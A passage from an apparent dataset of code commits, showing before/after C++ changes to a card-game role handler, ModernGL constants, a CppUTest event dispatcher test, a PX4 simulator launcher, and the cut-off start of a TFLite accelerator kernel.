respond;\r\n\r\n try{\r\n switch(state)\r\n {\r\n case 1:\r\n if(selectedCards[0]->getType()==\"attack\" && myself->getTap() &&\r\n (selectedCards[0]->getElement() == \"thunder\" || selectedCards[0]->getElement() == \"earth\" || selectedCards[0]->getElement() == \"wind\")){\r\n state = MO_NV_ZHI_NU_ATTACK;\r\n action = newAction(ACTION_ATTACK_SKILL, MO_NV_ZHI_NU_ATTACK);\r\n action->add_dst_ids(selectedPlayers[0]->getID());\r\n action->add_card_ids(selectedCards[0]->getID());\r\n usedAttack=true;\r\n usedMagic=usedSpecial=false;\r\n gui->reset();\r\n emit sendCommand(network::MSG_ACTION, action);\r\n }\r\n break;\r\n case TI_SHEN_WAN_OU:\r\n respond = new network::Respond();\r\n respond->set_src_id(myID);\r\n respond->set_respond_id(TI_SHEN_WAN_OU);\r\n respond->add_card_ids(selectedCards[0]->getID());\r\n respond->add_dst_ids(selectedPlayers[0]->getID());\r\n respond->add_args(1);\/\/ 1表示选择发动\r\n emit sendCommand(network::MSG_RESPOND, respond);\r\n gui->reset();\r\n break;\r\n case MO_NENG_FAN_ZHUAN:\r\n respond = new network::Respond();\r\n respond->set_src_id(myID);\r\n respond->set_respond_id(MO_NENG_FAN_ZHUAN);\r\n respond->add_dst_ids(selectedPlayers[0]->getID());\r\n for(int i =0; i < selectedCards.size();i++)\r\n respond->add_card_ids(selectedCards[i]->getID());\r\n respond->add_args(1);\/\/ 1表示选择发动\r\n emit sendCommand(network::MSG_RESPOND, respond);\r\n gui->reset();\r\n break;\r\n case MO_NV_ZHI_NU:\r\n respond = new network::Respond();\r\n respond->set_src_id(myID);\r\n respond->set_respond_id(MO_NV_ZHI_NU);\r\n respond->add_args(1);\/\/ 1表示选择发动\r\n respond->add_args(tipArea->getBoxCurrentText().toInt());\r\n emit sendCommand(network::MSG_RESPOND, respond);\r\n start =true;\r\n\t\tgui->reset();\r\n break;\r\n case CANG_YAN_FA_DIAN:\r\n action = newAction(ACTION_MAGIC_SKILL, CANG_YAN_FA_DIAN);\r\n action->set_src_id(myID);\r\n\r\n action->add_card_ids(selectedCards[0]->getID());\r\n action->add_dst_ids(selectedPlayers[0]->getID());\r\n\r\n emit sendCommand(network::MSG_ACTION, action);\r\n gui->reset();\r\n break;\r\n case TIAN_HUO_DUAN_KONG:\r\n action = newAction(ACTION_MAGIC_SKILL, TIAN_HUO_DUAN_KONG);\r\n action->set_src_id(myID);\r\n\r\n action->add_card_ids(selectedCards[0]->getID());\r\n action->add_card_ids(selectedCards[1]->getID());\r\n action->add_dst_ids(selectedPlayers[0]->getID());\r\n\r\n emit sendCommand(network::MSG_ACTION, action);\r\n gui->reset();\r\n break;\r\n case TONG_KU_LIAN_JIE:\r\n action = newAction(ACTION_MAGIC_SKILL, TONG_KU_LIAN_JIE);\r\n action->set_src_id(myID);\r\n action->add_dst_ids(selectedPlayers[0]->getID());\r\n\r\n action->add_args(1);\r\n\r\n emit sendCommand(network::MSG_ACTION, action);\r\n gui->reset();\r\n break;\r\n }\r\n }catch(int error){\r\n logic->onError(error);\r\n }\r\n Role::onOkClicked();\r\n}\r\n\r\nvoid MoNv::onCancelClicked()\r\n{\r\n Role::onCancelClicked();\r\n\r\n network::Respond* respond;\r\n\r\n switch(state)\r\n {\r\n case MO_NV_ZHI_NU:\r\n case TI_SHEN_WAN_OU:\r\n case MO_NENG_FAN_ZHUAN:\r\n respond = new network::Respond();\r\n respond->set_src_id(myID);\r\n respond->set_respond_id(state);\r\n respond->add_args(0);\r\n emit sendCommand(network::MSG_RESPOND, respond);\r\n gui->reset();\r\n break;\r\n case CANG_YAN_FA_DIAN:\r\n case TIAN_HUO_DUAN_KONG:\r\n case TONG_KU_LIAN_JIE:\r\n normal();\r\n break;\r\n }\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include \"ModernGL-Constants.hpp\"\n\n#include \"ModernGL-Types.hpp\"\n\n#define STR_VERSION(ver) # ver\n\nvoid RegisterConstants(PyObject * module) {\n\tPyModule_AddObject(module, \"ENABLE_NOTHING\", CreateEnableFlagType(ENABLE_NOTHING));\n\tPyModule_AddObject(module, \"ENABLE_BLEND\", CreateEnableFlagType(ENABLE_BLEND));\n\tPyModule_AddObject(module, \"ENABLE_CULL_FACE\", CreateEnableFlagType(ENABLE_CULL_FACE));\n\tPyModule_AddObject(module, \"ENABLE_DEPTH_TEST\", CreateEnableFlagType(ENABLE_DEPTH_TEST));\n\tPyModule_AddObject(module, \"ENABLE_MULTISAMPLE\", CreateEnableFlagType(ENABLE_MULTISAMPLE));\n\tPyModule_AddObject(module, \"ENABLE_ALL\", CreateEnableFlagType(ENABLE_ALL));\n\n\tPyModule_AddStringConstant(module, \"VERSION\", STR_VERSION(MODERN_GL_VERSION));\n\n\tPyModule_AddStringConstant(module, \"__AUTHOR_NAME__\", \"Szabolcs Dombi\");\n\tPyModule_AddStringConstant(module, \"__AUTHOR_EMAIL__\", \"cprogrammer1994@gmail.com\");\n\n\tPyModule_AddObject(module, \"screen\", CreateFramebufferType(0, 0, 0));\n}\n\n#undef STR_VERSION\n<commit_msg>better uppercase screen<commit_after>#include \"ModernGL-Constants.hpp\"\n\n#include \"ModernGL-Types.hpp\"\n\n#define STR_VERSION(ver) # ver\n\nvoid RegisterConstants(PyObject * module) {\n\tPyModule_AddObject(module, \"ENABLE_NOTHING\", CreateEnableFlagType(ENABLE_NOTHING));\n\tPyModule_AddObject(module, \"ENABLE_BLEND\", CreateEnableFlagType(ENABLE_BLEND));\n\tPyModule_AddObject(module, \"ENABLE_CULL_FACE\", CreateEnableFlagType(ENABLE_CULL_FACE));\n\tPyModule_AddObject(module, \"ENABLE_DEPTH_TEST\", CreateEnableFlagType(ENABLE_DEPTH_TEST));\n\tPyModule_AddObject(module, \"ENABLE_MULTISAMPLE\", CreateEnableFlagType(ENABLE_MULTISAMPLE));\n\tPyModule_AddObject(module, \"ENABLE_ALL\", CreateEnableFlagType(ENABLE_ALL));\n\t\n\tPyModule_AddObject(module, \"SCREEN\", CreateFramebufferType(0, 0, 0));\n\n\tPyModule_AddStringConstant(module, \"VERSION\", STR_VERSION(MODERN_GL_VERSION));\n\n\tPyModule_AddStringConstant(module, \"__AUTHOR_NAME__\", \"Szabolcs Dombi\");\n\tPyModule_AddStringConstant(module, \"__AUTHOR_EMAIL__\", \"cprogrammer1994@gmail.com\");\n\n}\n\n#undef STR_VERSION\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2007, Michael Feathers, James Grenning and Bas Vodde\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the <organization> nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE EARLIER MENTIONED AUTHORS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"CppUTest\/TestHarness.h\"\n#include \"CppUTestExt\/MockSupport.h\"\n#include \"EventDispatcher.h\"\n\nclass ObserverMock : public EventObserver\n{\npublic:\n virtual void notify(const Event& event, int timeOutInSeconds)\n {\n mock().actualCall(\"notify\").onObject(this).withParameterOfType(\"Event\", \"event\", (void*) &event).withParameter(\"timeOutInSeconds\", timeOutInSeconds);\n }\n virtual void notifyRegistration(EventObserver* newObserver)\n {\n mock().actualCall(\"notifyRegistration\").onObject(this).withParameter(\"newObserver\", newObserver);\n }\n};\n\nclass EventComparator : public MockNamedValueComparator\n{\npublic:\n virtual bool isEqual(const void* object1, const void* object2)\n {\n return ((Event*)object1)->type == ((Event*)object2)->type;\n }\n virtual SimpleString valueToString(const void* object)\n {\n return StringFrom(((Event*)object)->type);\n }\n};\n\n\nTEST_GROUP(EventDispatcher)\n{\n Event event;\n EventDispatcher* dispatcher;\n ObserverMock observer;\n ObserverMock observer2;\n EventComparator eventComparator;\n\n void setup()\n {\n dispatcher = new EventDispatcher;\n mock().installComparator(\"Event\", eventComparator);\n }\n void teardown()\n {\n delete dispatcher;\n mock().removeAllComparatorsAndCopiers();\n }\n};\n\n\nTEST(EventDispatcher, EventWithoutRegistrationsResultsIntoNoCalls)\n{\n dispatcher->dispatchEvent(event, 10);\n}\n\nTEST(EventDispatcher, EventWithRegistrationForEventResultsIntoCallback)\n{\n mock().expectOneCall(\"notify\").onObject(&observer).withParameterOfType(\"Event\", \"event\", &event).withParameter(\"timeOutInSeconds\", 10);\n event.type = IMPORTANT_EVENT;\n\n dispatcher->registerObserver(IMPORTANT_EVENT, &observer);\n dispatcher->dispatchEvent(event, 10);\n}\n\nTEST(EventDispatcher, DifferentEventWithRegistrationDoesNotResultIntoCallback)\n{\n event.type = LESS_IMPORTANT_EVENT;\n dispatcher->registerObserver(IMPORTANT_EVENT, &observer);\n dispatcher->dispatchEvent(event, 10);\n}\n\nTEST(EventDispatcher, RegisterTwoObserversResultIntoTwoCallsAndARegistrationNotification)\n{\n mock().expectOneCall(\"notify\").onObject(&observer).withParameterOfType(\"Event\", \"event\", &event).withParameter(\"timeOutInSeconds\", 10);\n mock().expectOneCall(\"notify\").onObject(&observer2).withParameterOfType(\"Event\", \"event\", &event).withParameter(\"timeOutInSeconds\", 10);\n mock().expectOneCall(\"notifyRegistration\").onObject(&observer).withParameter(\"newObserver\", &observer2);\n\n event.type = IMPORTANT_EVENT;\n dispatcher->registerObserver(IMPORTANT_EVENT, &observer);\n dispatcher->registerObserver(IMPORTANT_EVENT, &observer2);\n dispatcher->dispatchEvent(event, 10);\n}\n<commit_msg>remove warning, cast from 'const void *' to 'Event *' drops const qualifier.<commit_after>\/*\n * Copyright (c) 2007, Michael Feathers, James Grenning and Bas Vodde\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the <organization> nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE EARLIER MENTIONED AUTHORS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"CppUTest\/TestHarness.h\"\n#include \"CppUTestExt\/MockSupport.h\"\n#include \"EventDispatcher.h\"\n\nclass ObserverMock : public EventObserver\n{\npublic:\n virtual void notify(const Event& event, int timeOutInSeconds)\n {\n mock().actualCall(\"notify\").onObject(this).withParameterOfType(\"Event\", \"event\", (void*) &event).withParameter(\"timeOutInSeconds\", timeOutInSeconds);\n }\n virtual void notifyRegistration(EventObserver* newObserver)\n {\n mock().actualCall(\"notifyRegistration\").onObject(this).withParameter(\"newObserver\", newObserver);\n }\n};\n\nclass EventComparator : public MockNamedValueComparator\n{\npublic:\n virtual bool isEqual(const void* object1, const void* object2)\n {\n return ((const Event*)object1)->type == ((const Event*)object2)->type;\n }\n virtual SimpleString valueToString(const void* object)\n {\n return StringFrom(((const Event*)object)->type);\n }\n};\n\n\nTEST_GROUP(EventDispatcher)\n{\n Event event;\n EventDispatcher* dispatcher;\n ObserverMock observer;\n ObserverMock observer2;\n EventComparator eventComparator;\n\n void setup()\n {\n dispatcher = new EventDispatcher;\n mock().installComparator(\"Event\", eventComparator);\n }\n void teardown()\n {\n delete dispatcher;\n mock().removeAllComparatorsAndCopiers();\n }\n};\n\n\nTEST(EventDispatcher, EventWithoutRegistrationsResultsIntoNoCalls)\n{\n dispatcher->dispatchEvent(event, 10);\n}\n\nTEST(EventDispatcher, EventWithRegistrationForEventResultsIntoCallback)\n{\n mock().expectOneCall(\"notify\").onObject(&observer).withParameterOfType(\"Event\", \"event\", &event).withParameter(\"timeOutInSeconds\", 10);\n event.type = IMPORTANT_EVENT;\n\n dispatcher->registerObserver(IMPORTANT_EVENT, &observer);\n dispatcher->dispatchEvent(event, 10);\n}\n\nTEST(EventDispatcher, DifferentEventWithRegistrationDoesNotResultIntoCallback)\n{\n event.type = LESS_IMPORTANT_EVENT;\n dispatcher->registerObserver(IMPORTANT_EVENT, &observer);\n dispatcher->dispatchEvent(event, 10);\n}\n\nTEST(EventDispatcher, RegisterTwoObserversResultIntoTwoCallsAndARegistrationNotification)\n{\n mock().expectOneCall(\"notify\").onObject(&observer).withParameterOfType(\"Event\", \"event\", &event).withParameter(\"timeOutInSeconds\", 10);\n mock().expectOneCall(\"notify\").onObject(&observer2).withParameterOfType(\"Event\", \"event\", &event).withParameter(\"timeOutInSeconds\", 10);\n mock().expectOneCall(\"notifyRegistration\").onObject(&observer).withParameter(\"newObserver\", &observer2);\n\n event.type = IMPORTANT_EVENT;\n dispatcher->registerObserver(IMPORTANT_EVENT, &observer);\n dispatcher->registerObserver(IMPORTANT_EVENT, &observer2);\n dispatcher->dispatchEvent(event, 10);\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n *\n * Copyright (c) 2015 Mark Charlebois. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n * used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file simulator.cpp\n * A device simulator\n *\/\n\n#include <px4_log.h>\n#include <px4_tasks.h>\n#include <px4_time.h>\n#include <pthread.h>\n#include <poll.h>\n#include <systemlib\/err.h>\n#include <errno.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys\/types.h>\n#include <drivers\/drv_led.h>\n\n#include \"simulator.h\"\n\nusing namespace simulator;\n\nstatic px4_task_t g_sim_task = -1;\n\nSimulator *Simulator::_instance = NULL;\n\nSimulator *Simulator::getInstance()\n{\n\treturn _instance;\n}\n\nbool Simulator::getMPUReport(uint8_t *buf, int len)\n{\n\treturn _mpu.copyData(buf, len);\n}\n\nbool Simulator::getRawAccelReport(uint8_t *buf, int len)\n{\n\treturn _accel.copyData(buf, len);\n}\n\nbool Simulator::getMagReport(uint8_t *buf, int len)\n{\n\treturn _mag.copyData(buf, len);\n}\n\nbool Simulator::getBaroSample(uint8_t *buf, int len)\n{\n\treturn _baro.copyData(buf, len);\n}\n\nbool Simulator::getGPSSample(uint8_t *buf, int len)\n{\n\treturn _gps.copyData(buf, len);\n}\n\nbool Simulator::getAirspeedSample(uint8_t *buf, int len)\n{\n\treturn _airspeed.copyData(buf, len);\n}\n\nvoid Simulator::write_MPU_data(void *buf)\n{\n\t_mpu.writeData(buf);\n}\n\nvoid Simulator::write_accel_data(void *buf)\n{\n\t_accel.writeData(buf);\n}\n\nvoid Simulator::write_mag_data(void *buf)\n{\n\t_mag.writeData(buf);\n}\n\nvoid Simulator::write_baro_data(void *buf)\n{\n\t_baro.writeData(buf);\n}\n\nvoid Simulator::write_gps_data(void *buf)\n{\n\t_gps.writeData(buf);\n}\n\nvoid Simulator::write_airspeed_data(void *buf)\n{\n\t_airspeed.writeData(buf);\n}\n\nint Simulator::start(int argc, char *argv[])\n{\n\tint ret = 0;\n\t_instance = new Simulator();\n\n\tif (_instance) {\n\t\tdrv_led_start();\n\n\t\tif (argv[2][1] == 's') {\n\t\t\t_instance->initializeSensorData();\n#ifndef __PX4_QURT\n\t\t\t\/\/ Update sensor data\n\t\t\t_instance->pollForMAVLinkMessages(false);\n#endif\n\n\t\t} else if (argv[2][1] == 'p') {\n\t\t\t\/\/ Update sensor data\n\t\t\t_instance->pollForMAVLinkMessages(true);\n\n\t\t} else {\n\t\t\t_instance->initializeSensorData();\n\t\t\t_instance->_initialized = true;\n\t\t}\n\n\t} else {\n\t\tPX4_WARN(\"Simulator creation failed\");\n\t\tret = 1;\n\t}\n\n\treturn ret;\n}\n\nstatic void usage()\n{\n\tPX4_WARN(\"Usage: simulator {start -[spt] |stop}\");\n\tPX4_WARN(\"Simulate raw sensors: simulator start -s\");\n\tPX4_WARN(\"Publish sensors combined: simulator start -p\");\n\tPX4_WARN(\"Dummy unit test data: simulator start -t\");\n}\n\n__BEGIN_DECLS\nextern int simulator_main(int argc, char *argv[]);\n__END_DECLS\n\nextern \"C\" {\n\n\tint simulator_main(int argc, char *argv[])\n\t{\n\t\tint ret = 0;\n\n\t\tif (argc == 3 && strcmp(argv[1], \"start\") == 0) {\n\t\t\tif (strcmp(argv[2], \"-s\") == 0 ||\n\t\t\t strcmp(argv[2], \"-p\") == 0 ||\n\t\t\t strcmp(argv[2], \"-t\") == 0) {\n\t\t\t\tif (g_sim_task >= 0) {\n\t\t\t\t\twarnx(\"Simulator already started\");\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\n\t\t\t\tg_sim_task = px4_task_spawn_cmd(\"Simulator\",\n\t\t\t\t\t\t\t\tSCHED_DEFAULT,\n\t\t\t\t\t\t\t\tSCHED_PRIORITY_MAX - 5,\n\t\t\t\t\t\t\t\t1500,\n\t\t\t\t\t\t\t\tSimulator::start,\n\t\t\t\t\t\t\t\targv);\n\n\t\t\t\t\/\/ now wait for the command to complete\n\t\t\t\twhile (true) {\n\t\t\t\t\tif (Simulator::getInstance() && Simulator::getInstance()->isInitialized()) {\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tusleep(100000);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tusage();\n\t\t\t\tret = -EINVAL;\n\t\t\t}\n\n\t\t} else if (argc == 2 && strcmp(argv[1], \"stop\") == 0) {\n\t\t\tif (g_sim_task < 0) {\n\t\t\t\tPX4_WARN(\"Simulator not running\");\n\n\t\t\t} else {\n\t\t\t\tpx4_task_delete(g_sim_task);\n\t\t\t\tg_sim_task = -1;\n\t\t\t}\n\n\t\t} else {\n\t\t\tusage();\n\t\t\tret = -EINVAL;\n\t\t}\n\n\t\treturn ret;\n\t}\n\n}\n<commit_msg>Simulator: All app names are lowercase!<commit_after>\/****************************************************************************\n *\n * Copyright (c) 2015 Mark Charlebois. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n * used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file simulator.cpp\n * A device simulator\n *\/\n\n#include <px4_log.h>\n#include <px4_tasks.h>\n#include <px4_time.h>\n#include <pthread.h>\n#include <poll.h>\n#include <systemlib\/err.h>\n#include <errno.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys\/types.h>\n#include <drivers\/drv_led.h>\n\n#include \"simulator.h\"\n\nusing namespace simulator;\n\nstatic px4_task_t g_sim_task = -1;\n\nSimulator *Simulator::_instance = NULL;\n\nSimulator *Simulator::getInstance()\n{\n\treturn _instance;\n}\n\nbool Simulator::getMPUReport(uint8_t *buf, int len)\n{\n\treturn _mpu.copyData(buf, len);\n}\n\nbool Simulator::getRawAccelReport(uint8_t *buf, int len)\n{\n\treturn _accel.copyData(buf, len);\n}\n\nbool Simulator::getMagReport(uint8_t *buf, int len)\n{\n\treturn _mag.copyData(buf, len);\n}\n\nbool Simulator::getBaroSample(uint8_t *buf, int len)\n{\n\treturn _baro.copyData(buf, len);\n}\n\nbool Simulator::getGPSSample(uint8_t *buf, int len)\n{\n\treturn _gps.copyData(buf, len);\n}\n\nbool Simulator::getAirspeedSample(uint8_t *buf, int len)\n{\n\treturn _airspeed.copyData(buf, len);\n}\n\nvoid Simulator::write_MPU_data(void *buf)\n{\n\t_mpu.writeData(buf);\n}\n\nvoid Simulator::write_accel_data(void *buf)\n{\n\t_accel.writeData(buf);\n}\n\nvoid Simulator::write_mag_data(void *buf)\n{\n\t_mag.writeData(buf);\n}\n\nvoid Simulator::write_baro_data(void *buf)\n{\n\t_baro.writeData(buf);\n}\n\nvoid Simulator::write_gps_data(void *buf)\n{\n\t_gps.writeData(buf);\n}\n\nvoid Simulator::write_airspeed_data(void *buf)\n{\n\t_airspeed.writeData(buf);\n}\n\nint Simulator::start(int argc, char *argv[])\n{\n\tint ret = 0;\n\t_instance = new Simulator();\n\n\tif (_instance) {\n\t\tdrv_led_start();\n\n\t\tif (argv[2][1] == 's') {\n\t\t\t_instance->initializeSensorData();\n#ifndef __PX4_QURT\n\t\t\t\/\/ Update sensor data\n\t\t\t_instance->pollForMAVLinkMessages(false);\n#endif\n\n\t\t} else if (argv[2][1] == 'p') {\n\t\t\t\/\/ Update sensor data\n\t\t\t_instance->pollForMAVLinkMessages(true);\n\n\t\t} else {\n\t\t\t_instance->initializeSensorData();\n\t\t\t_instance->_initialized = true;\n\t\t}\n\n\t} else {\n\t\tPX4_WARN(\"Simulator creation failed\");\n\t\tret = 1;\n\t}\n\n\treturn ret;\n}\n\nstatic void usage()\n{\n\tPX4_WARN(\"Usage: simulator {start -[spt] |stop}\");\n\tPX4_WARN(\"Simulate raw sensors: simulator start -s\");\n\tPX4_WARN(\"Publish sensors combined: simulator start -p\");\n\tPX4_WARN(\"Dummy unit test data: simulator start -t\");\n}\n\n__BEGIN_DECLS\nextern int simulator_main(int argc, char *argv[]);\n__END_DECLS\n\nextern \"C\" {\n\n\tint simulator_main(int argc, char *argv[])\n\t{\n\t\tint ret = 0;\n\n\t\tif (argc == 3 && strcmp(argv[1], \"start\") == 0) {\n\t\t\tif (strcmp(argv[2], \"-s\") == 0 ||\n\t\t\t strcmp(argv[2], \"-p\") == 0 ||\n\t\t\t strcmp(argv[2], \"-t\") == 0) {\n\t\t\t\tif (g_sim_task >= 0) {\n\t\t\t\t\twarnx(\"Simulator already started\");\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\n\t\t\t\tg_sim_task = px4_task_spawn_cmd(\"simulator\",\n\t\t\t\t\t\t\t\tSCHED_DEFAULT,\n\t\t\t\t\t\t\t\tSCHED_PRIORITY_MAX - 5,\n\t\t\t\t\t\t\t\t1500,\n\t\t\t\t\t\t\t\tSimulator::start,\n\t\t\t\t\t\t\t\targv);\n\n\t\t\t\t\/\/ now wait for the command to complete\n\t\t\t\twhile (true) {\n\t\t\t\t\tif (Simulator::getInstance() && Simulator::getInstance()->isInitialized()) {\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tusleep(100000);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tusage();\n\t\t\t\tret = -EINVAL;\n\t\t\t}\n\n\t\t} else if (argc == 2 && strcmp(argv[1], \"stop\") == 0) {\n\t\t\tif (g_sim_task < 0) {\n\t\t\t\tPX4_WARN(\"Simulator not running\");\n\n\t\t\t} else {\n\t\t\t\tpx4_task_delete(g_sim_task);\n\t\t\t\tg_sim_task = -1;\n\t\t\t}\n\n\t\t} else {\n\t\t\tusage();\n\t\t\tret = -EINVAL;\n\t\t}\n\n\t\treturn ret;\n\t}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2021 The CFU-Playground Authors\n * Copyright 2019 The TensorFlow Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"tensorflow\/lite\/kernels\/internal\/reference\/integer_ops\/conv_accel_gen_2.h\"\n\n#include <cstdio>\n\n#include \"gateware_constants.h\"\n#include \"hps_cfu.h\"\n#include \"tensorflow\/lite\/kernels\/internal\/common.h\"\n\n#if GATEWARE_GEN == 2\n\nnamespace tflite {\nnamespace reference_integer_ops {\n\nnamespace {\n\n\/\/ Loads four post process parameters into the CFU\nvoid LoadFourPostProcessParameters(int channel_start, const int32_t* bias_data,\n const int32_t* output_shift,\n const int32_t* output_multiplier) {\n for (int i = channel_start; i < channel_start + 4; i++) {\n cfu_set(REG_POST_PROCESS_BIAS, bias_data[i]);\n \/\/ Note : shift is stored as a negative number in tflite model\n cfu_set(REG_POST_PROCESS_SHIFT, -output_shift[i]);\n cfu_set(REG_POST_PROCESS_MULTIPLIER, output_multiplier[i]);\n }\n}\n\n\/\/ Loads filter parameters, correctly split between the two\n\/\/ stores\nvoid LoadFourFilterData(int channel_start, const RuntimeShape& filter_shape,\n const uint32_t* data_base) {\n const int num_filter_words_per_output =\n filter_shape.Dims(1) * filter_shape.Dims(2) * filter_shape.Dims(3) \/ 4;\n const uint32_t* filter_data =\n data_base + channel_start * num_filter_words_per_output;\n\n size_t addr_base = 0;\n for (int i = channel_start; i < channel_start + 4; i += 2) {\n for (int store = 0; store < 2; store++) {\n uint32_t addr = addr_base;\n for (int j = 0; j < num_filter_words_per_output; j++) {\n uint32_t data = *filter_data++;\n cfu_setx(REG_FILTER_WRITE, (store << 16 | addr), data);\n addr++;\n 